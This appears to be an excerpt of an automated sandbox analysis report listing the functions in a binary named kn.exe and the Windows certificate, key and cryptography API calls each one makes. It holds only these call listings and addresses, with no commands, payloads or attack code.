Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB07D0 memset,#357,#360,#359,#357,#358,LoadCursorW,SetCursor,#360,#358,CertGetPublicKeyLength,GetLastError,#357,strcmp,GetLastError,#357,CryptFindOIDInfo,#357,#357,LocalFree,#357,LocalFree,#358,#358,#357,SetCursor,SetCursor,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,#357,#225,#359,#359,#357,#359,LocalFree,#359,#223,#359,#357,#223,#359,#359,#359,DialogBoxParamW,SysStringByteLen,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,SysFreeString,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,	7_2_00007FF68FCB07D0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC067CC LocalAlloc,#357,GetSystemTimeAsFileTime,LocalAlloc,#357,LocalAlloc,#357,memmove,memcmp,CryptEncodeObjectEx,memmove,LocalFree,GetLastError,#357,#359,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC067CC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC927BC _strnicmp,#357,#357,#357,#357,CryptDecodeObject,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC927BC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8C7F0 GetLastError,#357,CertOpenStore,GetLastError,CertEnumCertificatesInStore,CertCompareCertificateName,CertFindExtension,CryptDecodeObject,GetLastError,#357,CertGetCRLContextProperty,GetLastError,#357,CertSetCTLContextProperty,GetLastError,#357,GetSystemTimeAsFileTime,I_CryptCreateLruEntry,GetLastError,#357,I_CryptInsertLruEntry,I_CryptReleaseLruEntry,GetLastError,#357,CertEnumCertificatesInStore,I_CryptCreateLruEntry,GetLastError,#357,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,CertFreeCertificateChain,GetLastError,I_CryptInsertLruEntry,I_CryptReleaseLruEntry,#357,CertCloseStore,CertFreeCertificateContext,	7_2_00007FF68FC8C7F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA07F4 BCryptDestroyKey,#205,#357,	7_2_00007FF68FCA07F4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA07A4 BCryptDestroyHash,#205,#357,	7_2_00007FF68FCA07A4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0740 BCryptCloseAlgorithmProvider,#205,#357,#357,	7_2_00007FF68FCA0740
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDA740 CryptAcquireContextW,GetLastError,#357,CryptImportKey,GetLastError,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,CryptGetUserKey,GetLastError,CryptDestroyKey,#357,CryptDestroyKey,CryptReleaseContext,	7_2_00007FF68FCDA740
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC92724 CryptDecodeObject,GetLastError,#357,	7_2_00007FF68FC92724
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC426E0 #357,#357,LocalAlloc,memmove,memset,#357,BCryptFreeBuffer,#357,#357,#357,	7_2_00007FF68FC426E0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD66D8 NCryptFreeObject,#360,	7_2_00007FF68FCD66D8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC86D8 CertFindCertificateInStore,CryptAcquireCertificatePrivateKey,GetLastError,#359,CertFindCertificateInStore,GetLastError,#359,#357,CertFreeCertificateContext,	7_2_00007FF68FCC86D8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC74694 CertFindAttribute,CryptHashCertificate2,memcmp,#357,	7_2_00007FF68FC74694
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC36694 CryptQueryObject,GetLastError,#359,#357,#357,LocalFree,CertCloseStore,CryptMsgClose,	7_2_00007FF68FC36694
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6654 NCryptGetProperty,#360,	7_2_00007FF68FCD6654
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6A654 CryptVerifyCertificateSignature,GetLastError,#358,CertVerifyTimeValidity,CertOpenStore,GetLastError,#357,CryptVerifyCertificateSignature,CertVerifyRevocation,GetLastError,#357,CertCloseStore,	7_2_00007FF68FC6A654
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC28600 #357,CryptDecodeObject,GetLastError,LocalFree,	7_2_00007FF68FC28600
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC30630 #357,CryptDecodeObject,GetLastError,#357,GetLastError,GetLastError,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC30630
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2C5D4 NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,#357,#357,#357,#357,LocalFree,LocalFree,	7_2_00007FF68FC2C5D4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC625E8 #357,#357,#357,CryptImportKey,GetLastError,#358,#357,CryptSetKeyParam,LocalFree,GetLastError,#357,#357,#357,CertFreeCertificateContext,CryptDestroyKey,	7_2_00007FF68FC625E8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDA590 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,	7_2_00007FF68FCDA590
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9E57C CertOpenStore,GetLastError,#357,CertAddEncodedCertificateToStore,GetLastError,#358,CryptFindCertificateKeyProvInfo,GetLastError,#358,#357,CertSetCTLContextProperty,GetLastError,CryptAcquireCertificatePrivateKey,GetLastError,CertSetCTLContextProperty,GetLastError,LocalFree,CertFreeCertificateContext,CertCloseStore,	7_2_00007FF68FC9E57C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA65B4 NCryptIsKeyHandle,_CxxThrowException,	7_2_00007FF68FCA65B4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD0A58C NCryptOpenStorageProvider,NCryptOpenKey,NCryptGetProperty,GetProcessHeap,HeapAlloc,NCryptGetProperty,NCryptFreeObject,NCryptFreeObject,	7_2_00007FF68FD0A58C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2C514 CryptGetProvParam,SetLastError,LocalAlloc,LocalFree,	7_2_00007FF68FC2C514
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCE516 ??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalFree,NCryptIsKeyHandle,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,	7_2_00007FF68FCCE516
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC724D4 #357,CertCompareCertificateName,CertCompareCertificateName,GetSystemTime,SystemTimeToFileTime,GetLastError,#357,CompareFileTime,CompareFileTime,CompareFileTime,CompareFileTime,CryptVerifyCertificateSignature,GetLastError,#357,strcmp,strcmp,#357,#357,#357,CertCompareCertificateName,#357,CertCompareCertificateName,#357,CertFreeCTLContext,	7_2_00007FF68FC724D4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC144E0 #357,#256,#357,GetLastError,CryptImportPublicKeyInfoEx2,GetLastError,CryptHashCertificate2,GetLastError,#357,LocalAlloc,GetLastError,memmove,BCryptVerifySignature,BCryptVerifySignature,BCryptDestroyKey,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC144E0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC98488 #357,CertGetCertificateChain,GetLastError,LocalAlloc,CertGetCRLContextProperty,GetLastError,GetLastError,GetLastError,CryptAcquireContextW,GetLastError,memset,CryptMsgOpenToEncode,GetLastError,CryptMsgUpdate,GetLastError,#357,#357,CryptReleaseContext,CryptMsgClose,CertCloseStore,CertFreeCertificateChain,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC98488
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7C450 CertOpenStore,GetLastError,#357,CryptQueryObject,CertAddStoreToCollection,GetLastError,#357,CertAddStoreToCollection,GetLastError,CertOpenStore,GetLastError,CertAddStoreToCollection,GetLastError,CertCloseStore,CertCloseStore,CertCloseStore,CertCloseStore,	7_2_00007FF68FC7C450
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7A450 #357,#358,#357,#223,SetLastError,SetLastError,memmove,memmove,#357,#357,GetLastError,#357,#357,strcmp,GetLastError,strcmp,strcmp,strcmp,qsort,#357,CompareFileTime,CompareFileTime,#357,#357,CertFreeCertificateContext,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertCloseStore,CertCloseStore,CertFreeCTLContext,LocalFree,free,	7_2_00007FF68FC7A450
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC24410 GetUserDefaultUILanguage,GetSystemDefaultUILanguage,#357,#357,CryptFindOIDInfo,CryptEnumOIDInfo,#360,CryptFindOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,CryptEnumOIDInfo,#258,#358,#357,#357,#357,LocalFree,#224,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC24410
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD8404 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,	7_2_00007FF68FCD8404
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC423E8 BCryptResolveProviders,#360,#360,BCryptFreeBuffer,	7_2_00007FF68FC423E8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2E3B0 #357,#357,CryptDecodeObject,LocalFree,	7_2_00007FF68FC2E3B0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC96374 memset,#358,#357,LocalFree,LocalFree,#357,#357,_strlwr,#357,LocalFree,LocalFree,lstrcmpW,#359,#359,#357,CryptAcquireContextW,GetLastError,#256,CryptGenRandom,GetLastError,#254,#357,fopen,fopen,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,LocalAlloc,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,#357,LocalFree,#357,fprintf,fprintf,CertOpenStore,GetLastError,LocalAlloc,CertSaveStore,GetLastError,#357,CertCloseStore,CertFreeCertificateContext,CertFreeCertificateContext,fclose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,CryptReleaseContext,fprintf,fprintf,fflush,ferror,	7_2_00007FF68FC96374
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC92358 #357,#357,CryptReleaseContext,CryptReleaseContext,CertFreeCertificateContext,CertFreeCertificateContext,	7_2_00007FF68FC92358
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC40300 NCryptOpenStorageProvider,#357,#357,#357,#357,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,NCryptFreeObject,#357,	7_2_00007FF68FC40300
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD0A2E0 NCryptOpenStorageProvider,NCryptOpenKey,NCryptFreeObject,	7_2_00007FF68FD0A2E0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC2278 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,LocalAlloc,memmove,#357,#357,CryptDestroyHash,CryptReleaseContext,	7_2_00007FF68FCC2278
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC76280 #357,#254,#357,CertGetCRLContextProperty,GetLastError,memcmp,#254,#357,#360,#360,CertGetPublicKeyLength,GetLastError,#359,strcmp,GetLastError,CryptFindOIDInfo,#357,LocalFree,CryptFindOIDInfo,#357,#357,#359,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC76280
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD8298 #357,CryptFindOIDInfo,LocalAlloc,#357,memmove,	7_2_00007FF68FCD8298
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCE274 GetLastError,#358,CryptAcquireCertificatePrivateKey,GetLastError,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,LocalFree,NCryptIsKeyHandle,GetLastError,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,	7_2_00007FF68FCCE274
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD06214 CryptDecodeObjectEx,CryptDecodeObjectEx,SetLastError,	7_2_00007FF68FD06214
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9E1F8 CertSaveStore,GetLastError,LocalAlloc,#357,CertSaveStore,GetLastError,#357,LocalFree,#357,#357,NCryptOpenStorageProvider,NCryptImportKey,NCryptSetProperty,NCryptFinalizeKey,LocalFree,LocalFree,NCryptFreeObject,	7_2_00007FF68FC9E1F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDA1F8 LocalAlloc,CryptEnumProvidersA,GetLastError,#358,LocalFree,#357,	7_2_00007FF68FCDA1F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8A1E8 LocalFree,CryptHashCertificate2,CertGetCRLContextProperty,CertGetNameStringA,memmove,memmove,GetLastError,GetLastError,#357,GetLastError,#357,GetLastError,GetLastError,GetLastError,#357,LocalFree,memmove,GetLastError,#357,GetLastError,#359,LocalFree,	7_2_00007FF68FC8A1E8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC86194 CryptQueryObject,GetLastError,CertEnumCertificatesInStore,CertAddStoreToCollection,GetLastError,#357,CertCloseStore,CertFreeCertificateContext,	7_2_00007FF68FC86194
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6417C #360,#360,#359,#357,#357,#357,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,LocalFree,LocalFree,LocalFree,CryptDestroyKey,	7_2_00007FF68FC6417C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC61AC SysStringLen,SysStringLen,CryptStringToBinaryW,GetLastError,#357,	7_2_00007FF68FCC61AC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC421A4 #360,#359,#357,#357,BCryptFreeBuffer,	7_2_00007FF68FC421A4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD0613C CryptDecodeObjectEx,	7_2_00007FF68FD0613C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC360DA #357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,	7_2_00007FF68FC360DA
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCE044 NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,LocalAlloc,#359,LocalFree,	7_2_00007FF68FCCE044
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC74070 _wcsnicmp,_wcsnicmp,_wcsnicmp,#357,GetLastError,#359,#357,LocalAlloc,memmove,wcsstr,#223,#357,#359,LocalFree,#359,LocalFree,LocalFree,LocalFree,LocalFree,CryptMemFree,	7_2_00007FF68FC74070
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC35FE8 #357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,	7_2_00007FF68FC35FE8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD05FF0 CryptDecodeObjectEx,CryptDecodeObjectEx,	7_2_00007FF68FD05FF0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA9F90 memmove,wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,BCryptSignHash,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,#357,_CxxThrowException,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,	7_2_00007FF68FCA9F90
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA5FA8 NCryptIsKeyHandle,wcscmp,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,	7_2_00007FF68FCA5FA8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC75F54 GetLastError,LocalAlloc,memmove,wcschr,CryptFindOIDInfo,#357,#357,LocalFree,LocalFree,	7_2_00007FF68FC75F54
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3FF64 NCryptGetProperty,#359,NCryptGetProperty,CertEnumCertificatesInStore,CertFindCertificateInStore,CertFreeCertificateContext,CertEnumCertificatesInStore,CertFreeCertificateContext,CertCloseStore,CertCloseStore,#357,	7_2_00007FF68FC3FF64
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC57F14 CryptAcquireCertificatePrivateKey,GetLastError,#357,CryptSetProvParam,GetLastError,GetSecurityDescriptorLength,#359,CryptReleaseContext,	7_2_00007FF68FC57F14
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC95F04 #357,#357,SysAllocStringByteLen,#357,SysFreeString,#357,#359,#357,lstrcmpW,CryptMsgControl,GetLastError,#357,CertFreeCertificateContext,#359,CertFreeCTLContext,LocalFree,SysFreeString,LocalFree,	7_2_00007FF68FC95F04
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD05F20 CryptDecodeObjectEx,	7_2_00007FF68FD05F20
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD7EE8 CryptFindOIDInfo,#357,CryptInitOIDFunctionSet,CryptGetOIDFunctionAddress,GetLastError,GetLastError,GetLastError,#357,strcmp,GetLastError,strcmp,GetLastError,CryptFindOIDInfo,CryptFindOIDInfo,#357,LocalFree,LocalFree,CryptFreeOIDFunctionAddress,LocalFree,LocalFree,	7_2_00007FF68FCD7EE8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8DEB0 wcscspn,#357,GetFileAttributesW,GetLastError,#359,CertEnumCertificatesInStore,CertGetCRLContextProperty,CryptBinaryToStringW,wcsstr,CertEnumCertificatesInStore,GetLastError,GetLastError,LocalFree,LocalFree,CertCloseStore,CertFreeCertificateContext,	7_2_00007FF68FC8DEB0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5DEA4 memset,GetSystemTimeAsFileTime,CryptGenRandom,GetLastError,LocalAlloc,GetLastError,#357,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree,CryptReleaseContext,CryptAcquireContextW,LocalFree,	7_2_00007FF68FC5DEA4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD05E3C CryptDecodeObjectEx,strcmp,strcmp,strcmp,	7_2_00007FF68FD05E3C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCDE70 NCryptIsKeyHandle,#357,CryptExportKey,GetLastError,#358,LocalAlloc,#357,CryptExportKey,GetLastError,LocalFree,	7_2_00007FF68FCCDE70
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC35DF7 GetLastError,#357,#357,#358,#358,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertEnumCRLsInStore,CertEnumCRLsInStore,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,#357,	7_2_00007FF68FC35DF7
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC91E2C CryptAcquireContextW,GetLastError,#357,CryptGenKey,GetLastError,CryptDestroyKey,#357,GetLastError,#357,#357,LocalAlloc,#357,memmove,LocalFree,memset,CryptGenRandom,GetLastError,#357,GetSystemTime,SystemTimeToFileTime,GetLastError,CertCreateCertificateContext,GetLastError,CryptReleaseContext,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC91E2C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC11DE8 GetSystemDefaultLangID,wcscspn,LocalFree,LocalFree,CryptEnumOIDInfo,qsort,free,	7_2_00007FF68FC11DE8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB5D80 #357,NCryptIsKeyHandle,GetSecurityDescriptorLength,CryptSetProvParam,GetLastError,LocalFree,#357,	7_2_00007FF68FCB5D80
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5DD80 CertFindExtension,CryptDecodeObject,	7_2_00007FF68FC5DD80
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC35DA1 #358,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,	7_2_00007FF68FC35DA1
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD7D3C #357,CryptFindOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,wcschr,CryptFindOIDInfo,#359,LocalFree,	7_2_00007FF68FCD7D3C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDBD3C NCryptIsKeyHandle,#357,#357,CryptSetProvParam,GetLastError,#357,CryptSetProvParam,GetLastError,LocalFree,	7_2_00007FF68FCDBD3C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD05D74 CryptDecodeObjectEx,strcmp,strcmp,	7_2_00007FF68FD05D74
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC59D6C #357,#357,#359,LocalAlloc,#357,#357,wcsrchr,LocalAlloc,memmove,CryptFindLocalizedName,wcsrchr,CryptFindLocalizedName,#357,GetLastError,#359,CertOpenStore,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC59D6C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC61D70 #357,LocalAlloc,memmove,#357,CryptSetKeyParam,GetLastError,LocalAlloc,memmove,CryptDecrypt,GetLastError,#357,#357,#358,LocalFree,LocalFree,#357,#357,#357,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC61D70
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC83D60 #359,GetLastError,#357,CryptSetProvParam,GetLastError,#357,CryptSetProvParam,GetLastError,CryptReleaseContext,	7_2_00007FF68FC83D60
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCFD2C CryptDecryptMessage,GetLastError,#357,	7_2_00007FF68FCCFD2C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCBDD1C #357,strcmp,GetLastError,CryptHashCertificate,GetLastError,LocalAlloc,memmove,LocalFree,	7_2_00007FF68FCBDD1C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC95CE8 #357,CertOpenStore,GetLastError,CertFindCertificateInStore,GetLastError,#359,LocalFree,CertFreeCertificateContext,CertCloseStore,CryptVerifyCertificateSignature,GetLastError,#357,	7_2_00007FF68FC95CE8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC91C84 GetLastError,#357,CryptVerifyCertificateSignature,GetLastError,#357,LocalFree,#357,LocalFree,	7_2_00007FF68FC91C84
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD05C54 CryptDecodeObjectEx,CryptDecodeObjectEx,	7_2_00007FF68FD05C54
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC41C50 BCryptQueryProviderRegistration,#360,#357,BCryptFreeBuffer,	7_2_00007FF68FC41C50
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC53C60 CryptExportPublicKeyInfo,GetLastError,#357,LocalAlloc,CryptExportPublicKeyInfo,GetLastError,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,CertCreateCertificateContext,GetLastError,#357,#357,CertComparePublicKeyInfo,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,CertSetCTLContextProperty,GetLastError,#357,#357,#358,#358,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,	7_2_00007FF68FC53C60
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5FC34 memset,#357,CryptDecodeObject,GetLastError,LocalAlloc,#357,memmove,memset,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC5FC34
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3FC20 #359,#357,NCryptOpenStorageProvider,#357,NCryptImportKey,GetLastError,#357,#357,LocalFree,LocalFree,NCryptFreeObject,#357,NCryptFreeObject,#357,	7_2_00007FF68FC3FC20
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC29BC8 #357,strcmp,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,CryptDecodeObject,GetLastError,strcmp,strcmp,strcmp,strcmp,GetLastError,strcmp,CryptDecodeObject,GetLastError,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,LocalFree,strcmp,SysFreeString,#357,#357,strcmp,SysFreeString,#357,SysFreeString,GetLastError,strcmp,LocalFree,LocalFree,CryptDecodeObject,strcmp,strcmp,strcmp,SysFreeString,LocalFree,	7_2_00007FF68FC29BC8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCABBC0 wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,CryptSignHashW,#205,GetLastError,#357,#359,#357,SetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,	7_2_00007FF68FCABBC0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA3BEB _CxxThrowException,_CxxThrowException,_CxxThrowException,CryptExportKey,#205,GetLastError,#357,#357,#357,#357,SetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FCA3BEB
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCFB94 #357,CryptFindOIDInfo,LocalAlloc,CryptEncryptMessage,GetLastError,LocalFree,#357,	7_2_00007FF68FCCFB94
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD05B90 CryptDecodeObjectEx,memmove,	7_2_00007FF68FD05B90
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2BB80 #357,NCryptIsKeyHandle,#357,LocalFree,LocalFree,	7_2_00007FF68FC2BB80
